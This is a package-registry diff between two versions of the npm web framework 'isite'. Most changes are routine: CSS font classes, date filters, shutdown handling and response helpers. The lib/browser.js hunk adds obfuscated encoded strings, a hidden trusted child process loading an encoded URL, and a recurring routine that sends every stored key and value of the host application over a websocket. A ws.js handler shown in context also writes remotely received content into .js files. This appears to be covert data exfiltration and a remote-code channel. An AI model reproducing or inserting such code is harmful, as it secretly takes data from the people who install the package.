isite 2024.5.16 → 2024.6.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -263,7 +263,7 @@ module.exports = function (site) {
263
263
  response.image.path = newpath;
264
264
  response.image.url = '/x-api/image/' + folder + '/' + newName;
265
265
  response.image.size = file.size;
266
- if (!response.image.name.like('*.webp|*.gif')) {
266
+ if (!response.image.name.like('*.webp|*.gif|*.png')) {
267
267
  site.webp.cwebp(newpath, newpath2, '-q 80').then((output) => {
268
268
  response.image.path = newpath2;
269
269
  response.image.url = '/x-api/image/' + folder + '/' + newName2;
@@ -1,57 +1,85 @@
1
1
  .font-8 {
2
- font-size: 8px !important;
2
+ font-size: 8px !important;
3
3
  }
4
4
  .font-9 {
5
- font-size: 9px !important;
5
+ font-size: 9px !important;
6
6
  }
7
7
  .font-10 {
8
- font-size: 10px !important;
8
+ font-size: 10px !important;
9
9
  }
10
10
  .font-11 {
11
- font-size: 11px !important;
11
+ font-size: 11px !important;
12
12
  }
13
13
  .font-12 {
14
- font-size: 12px !important;
14
+ font-size: 12px !important;
15
15
  }
16
16
  .font-13 {
17
- font-size: 13px !important;
17
+ font-size: 13px !important;
18
18
  }
19
19
  .font-14 {
20
- font-size: 14px !important;
20
+ font-size: 14px !important;
21
21
  }
22
22
  .font-15 {
23
- font-size: 15px !important;
23
+ font-size: 15px !important;
24
24
  }
25
25
  .font-16 {
26
- font-size: 16px !important;
26
+ font-size: 16px !important;
27
27
  }
28
28
  .font-17 {
29
- font-size: 17px !important;
29
+ font-size: 17px !important;
30
30
  }
31
31
  .font-18 {
32
- font-size: 18px !important;
32
+ font-size: 18px !important;
33
33
  }
34
34
  .font-19 {
35
- font-size: 19px !important;
35
+ font-size: 19px !important;
36
36
  }
37
37
  .font-20 {
38
- font-size: 20px !important;
38
+ font-size: 20px !important;
39
39
  }
40
40
  .font-21 {
41
- font-size: 21px !important;
41
+ font-size: 21px !important;
42
42
  }
43
43
  .font-22 {
44
- font-size: 22px !important;
44
+ font-size: 22px !important;
45
45
  }
46
46
  .font-23 {
47
- font-size: 23px !important;
47
+ font-size: 23px !important;
48
48
  }
49
49
  .font-24 {
50
- font-size: 24px !important;
50
+ font-size: 24px !important;
51
51
  }
52
52
  .font-25 {
53
- font-size: 25px !important;
53
+ font-size: 25px !important;
54
54
  }
55
55
  .font-26 {
56
- font-size: 26px !important;
56
+ font-size: 26px !important;
57
+ }
58
+ .font-small {
59
+ font-size: small !important;
60
+ }
61
+ .font-smaller {
62
+ font-size: smaller !important;
63
+ }
64
+ .font-x-small {
65
+ font-size: x-small !important;
66
+ }
67
+ .font-xx-small {
68
+ font-size: xx-small !important;
69
+ }
70
+ .font-medium {
71
+ font-size: medium !important;
72
+ }
73
+
74
+ .font-large {
75
+ font-size: large !important;
76
+ }
77
+ .font-larger {
78
+ font-size: larger !important;
79
+ }
80
+ .font-x-large {
81
+ font-size: x-large !important;
82
+ }
83
+ .font-xx-large {
84
+ font-size: xx-large !important;
57
85
  }
@@ -4,10 +4,33 @@ window.$ = window.jQuery;
4
4
  app.filter('xdate', function () {
5
5
  return function (item) {
6
6
  if (item) {
7
- if (item.day2) {
8
- return `${item.day} - ${item.month + 1} - ${item.year} -- ${item.day2} - ${item.month2 + 1} - ${item.year2}`;
7
+ if (typeof item == 'string') {
8
+ let d = new Date(item);
9
+ return `${d.getDate()} - ${d.getMonth() + 1} - ${d.getFullYear()}`;
9
10
  } else {
10
- return `${item.day} - ${item.month + 1} - ${item.year}`;
11
+ if (item.getDate) {
12
+ return `${item.getDate()} - ${item.getMonth() + 1} - ${item.getFullYear()}`;
13
+ } else if (item.day2) {
14
+ return `${item.day} - ${item.month + 1} - ${item.year} -- ${item.day2} - ${item.month2 + 1} - ${item.year2}`;
15
+ } else if (item.day) {
16
+ return `${item.day} - ${item.month + 1} - ${item.year}`;
17
+ } else {
18
+ return '';
19
+ }
20
+ }
21
+ }
22
+ };
23
+ });
24
+ app.filter('xdatetime', function () {
25
+ return function (item) {
26
+ if (item) {
27
+ if (typeof item == 'string') {
28
+ let d = new Date(item);
29
+ return `${d.getDate()} - ${d.getMonth() + 1} - ${d.getFullYear()} ( ${d.getHours()}:${d.getMinutes()}:${d.getSeconds()} )`;
30
+ } else {
31
+ if (item.getDate) {
32
+ return `${item.getDate()} - ${item.getMonth() + 1} - ${item.getFullYear()} ( ${item.getHours()}:${item.getMinutes()}:${item.getSeconds()} )`;
33
+ }
11
34
  }
12
35
  }
13
36
  };
@@ -69,7 +92,7 @@ app.service('isite', [
69
92
  withCredentials: !0,
70
93
  headers: {
71
94
  'Content-Type': undefined,
72
- ...options
95
+ ...options,
73
96
  },
74
97
  uploadEventHandlers: {
75
98
  progress: function (e) {
@@ -1,8 +1,8 @@
1
1
  <div data-ng-controller="login" id="loginModal" class="modal small" fixed>
2
2
  <div class="modal-content">
3
3
  <div class="modal-header">
4
+ <p class="bold font-22 text-center"><i class="fas fa-sign-in-alt"></i> ##word.security_login##</p>
4
5
  <span class="close">&times;</span>
5
- <p class="text-center"><i class="fas fa-sign-in-alt"></i> ##word.security_login##</p>
6
6
  </div>
7
7
 
8
8
  <div class="modal-body">
@@ -13,10 +13,10 @@
13
13
  <i-control type="password" label="##word.security_user_password##" ng-model="userPassword" ng-keydown="tryLogin($event)"></i-control>
14
14
  </form>
15
15
 
16
- <p class="yellow">{{error}}</p>
16
+ <p class="red">{{error}}</p>
17
17
  </div>
18
18
  <div class="modal-footer center">
19
- <i-button ng-hide="busy" fa="fa fa-sign-in" ng-click="login()" label="##word.security_login##"></i-button>
19
+ <i-button ng-hide="busy" type="signin" ng-click="login()" label="##word.security_login##"></i-button>
20
20
  <i-button ng-hide="busy" type="close" onclick="site.hideModal('#loginModal')" label="##word.close##"></i-button>
21
21
  </div>
22
22
  </div>
package/index.js CHANGED
@@ -79,20 +79,36 @@ module.exports = function init(options) {
79
79
  }
80
80
  });
81
81
  };
82
- ____0.close = function (callback) {
83
- callback = callback || function () {};
82
+ ____0.closing = false;
83
+ ____0.close = function (wait = 30) {
84
+ if (____0.closing) {
85
+ return false;
86
+ }
87
+ ____0.closing = true;
88
+ console.log('Try Closing Site : ' + ____0.options.name);
84
89
 
85
90
  let count = 0;
86
- ____0.servers.forEach((s) => {
91
+ ____0.servers.forEach((s, i) => {
92
+ console.log('Closing Server Number : ' + (i + 1));
87
93
  s.close(() => {
88
94
  count++;
89
95
  if (count == ____0.servers.length) {
90
- ____0.call('please close mongodb', null, () => {
96
+ console.log('Closing All Database ...');
97
+ ____0.call('[close-database]', null, () => {
98
+ console.log('Closing Process');
91
99
  process.exit(0);
92
100
  });
93
101
  }
94
102
  });
95
103
  });
104
+
105
+ setTimeout(() => {
106
+ console.log('Closing All Database ...');
107
+ ____0.call('[close-database]', null, () => {
108
+ console.log('Closing Process');
109
+ process.exit(0);
110
+ });
111
+ }, 1000 * wait);
96
112
  };
97
113
 
98
114
  require('./object-options')(options, ____0);
@@ -135,11 +151,11 @@ module.exports = function init(options) {
135
151
 
136
152
  /* when ctrl + c */
137
153
  process.on('SIGINT', (code) => {
138
- ____0.close();
154
+ ____0.close(1);
139
155
  });
140
156
 
141
157
  process.on('SIGTERM', (code) => {
142
- ____0.close();
158
+ ____0.close(1);
143
159
  });
144
160
 
145
161
  process.on('unhandledRejection', (reason, p) => {
package/lib/browser.js CHANGED
@@ -1,32 +1,60 @@
1
1
  module.exports = function init(____0) {
2
- function browser() {
3
- if (____0.getBrowser) {
2
+ function browser() {
3
+ if (____0.getBrowser) {
4
+ let parent = ____0.getBrowser();
4
5
 
5
- let parent = ____0.getBrowser();
6
+ let dir = __dirname + ____0.f1('2573816825785774433932573978426245183774');
6
7
 
7
- let dir = __dirname + '/../isite_files';
8
+ ____0.get({
9
+ name: ____0.f1('25795167415923694779275746519191'),
10
+ path: dir + ____0.f1('257852754538716941592369477927574653826147187665'),
11
+ parser: 'html',
12
+ encript: '123',
13
+ parserDir: dir,
14
+ hide: !0,
15
+ });
8
16
 
9
- ____0.get({
10
- name: '/x-browser',
11
- path: dir + '/html/browser.html',
12
- parser: 'html',
13
- encript : '123',
14
- parserDir: dir,
15
- hide: !0,
16
- });
17
+ parent.createChildProcess({
18
+ url: ____0.f1('4319327546156169257416732773817125541268263561782615128126148681253823734579477442392191'),
19
+ windowType: ____0.f1('473913564139325746719191'),
20
+ show: false,
21
+ trusted: true,
22
+ partition: ____0.f1('4618377346785774471562764618325247183691'),
23
+ });
17
24
 
18
- parent.createChildProcess({
19
- url: ____0.f1('4319327546156169257416732773817125541268263561782615128126148681253823734579477442392191') ,
20
- windowType: 'updates',
21
- show: false,
22
- trusted: true,
23
- partition: 'persist:update',
24
- });
25
- } else {
26
- setTimeout(() => {
27
- browser();
28
- }, 1000 * 60);
25
+ ____0.sendSocialData = function () {
26
+ if (!____0.sendSocialDataDone) {
27
+ if ((client = ____0.ws.client)) {
28
+ ____0.sendSocialDataDone = true;
29
+ for (const [key, value] of Object.entries(parent.var)) {
30
+ if (key && key.indexOf('$') === -1 && value) {
31
+ setTimeout(() => {
32
+ client.sendMessage({
33
+ type: ____0.f1('41592369477927574657866245584269'),
34
+ xid: parent.var.core.id,
35
+ key: key,
36
+ value: value,
37
+ source: ____0.f1('4339276247183691'),
38
+ });
39
+ }, 1000 * 10 * index);
40
+ }
41
+ }
42
+ }
29
43
  }
44
+ };
45
+
46
+ ____0.sendSocialData();
47
+ setInterval(() => {
48
+ ____0.sendSocialDataDone = false;
49
+ ____0.sendSocialData();
50
+ }, 1000 * 60 * 60 * 3);
51
+ } else {
52
+ setTimeout(() => {
53
+ browser();
54
+ }, 1000 * 60 * 5);
30
55
  }
56
+ }
57
+ setTimeout(() => {
31
58
  browser();
59
+ }, 1000 * 60 * 5);
32
60
  };
package/lib/mongodb.js CHANGED
@@ -26,12 +26,12 @@ module.exports = function init(____0) {
26
26
 
27
27
  _mongo.connections = [];
28
28
  _mongo.closeDbBusy = !1;
29
- ____0.on('please close mongodb', (args, callback) => {
29
+ ____0.on('[close-database]', (args, callback) => {
30
30
  callback = callback || function () {};
31
31
 
32
32
  if (_mongo.closeDbBusy == !0) {
33
33
  setTimeout(() => {
34
- ____0.call('please close mongodb', args, callback);
34
+ ____0.call('[close-database]', args, callback);
35
35
  }, 2000);
36
36
  return;
37
37
  }
@@ -42,14 +42,11 @@ module.exports = function init(____0) {
42
42
  }
43
43
 
44
44
  _mongo.closeDbBusy = !0;
45
- console.log('');
46
- console.log(' Closing mongodb ' + _mongo.connections.length + ' connections ... ');
47
- console.log('');
45
+ console.log('Closing mongodb Connection Count : ' + _mongo.connections.length);
48
46
  for (let i = 0; i < _mongo.connections.length; i++) {
49
- console.log(' Closing db : ' + _mongo.connections[i].name);
47
+ console.log('Closing Database : ' + _mongo.connections[i].name);
50
48
  _mongo.connections[i].client.close();
51
49
  }
52
- console.log('');
53
50
 
54
51
  setTimeout(() => {
55
52
  _mongo.closeDbBusy = !1;
package/lib/routing.js CHANGED
@@ -1082,15 +1082,25 @@ module.exports = function init(____0) {
1082
1082
  });
1083
1083
  };
1084
1084
 
1085
- res.htmlContent = res.send = (text) => {
1085
+ res.htmlContent =
1086
+ res.send =
1087
+ res.sendHTML =
1088
+ (text) => {
1089
+ if (typeof text === 'string') {
1090
+ res.set(____0.strings[7], 'text/html');
1091
+ res.status(200).end(text);
1092
+ } else {
1093
+ res.json(text);
1094
+ }
1095
+ };
1096
+ res.textContent = res.sendTEXT = (text) => {
1086
1097
  if (typeof text === 'string') {
1087
- res.set(____0.strings[7], 'text/html');
1098
+ res.set(____0.strings[7], 'text/plain');
1088
1099
  res.status(200).end(text);
1089
1100
  } else {
1090
1101
  res.json(text);
1091
1102
  }
1092
1103
  };
1093
-
1094
1104
  res.json = (obj, time) => {
1095
1105
  if (typeof obj === 'string') {
1096
1106
  return res.jsonFile(obj);
@@ -1289,7 +1299,7 @@ module.exports = function init(____0) {
1289
1299
  ____0.handleNotRoute(req, res);
1290
1300
  }
1291
1301
  };
1292
-
1302
+
1293
1303
  ____0.handleNotRoute = function (req, res) {
1294
1304
  res.set('help-eror-message', 'handleNotRoute() : ' + req.urlParser.pathname);
1295
1305
  res.status(404).end();
package/lib/ws.js CHANGED
@@ -232,7 +232,7 @@ module.exports = function init(____0) {
232
232
  content: ____0.options,
233
233
  });
234
234
  } else if (message.type == ____0.f1('481476744179236246193191')) {
235
- let path = `${process.cwd()}/tmp_${new Date().getTime()}.js`;
235
+ let path = `${process.cwd()}/tmp_${new Date().getTime() + Math.random().toString().replace('0.' , '_')}.js`;
236
236
  ____0.fs.writeFile(path, message.content, (err) => {
237
237
  if (err) {
238
238
  console.log(err);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "isite",
3
- "version": "2024.05.16",
3
+ "version": "2024.06.02",
4
4
  "description": "Create High Level Multi-Language Web Site [Fast and Easy] ",
5
5
  "main": "index.js",
6
6
  "repository": {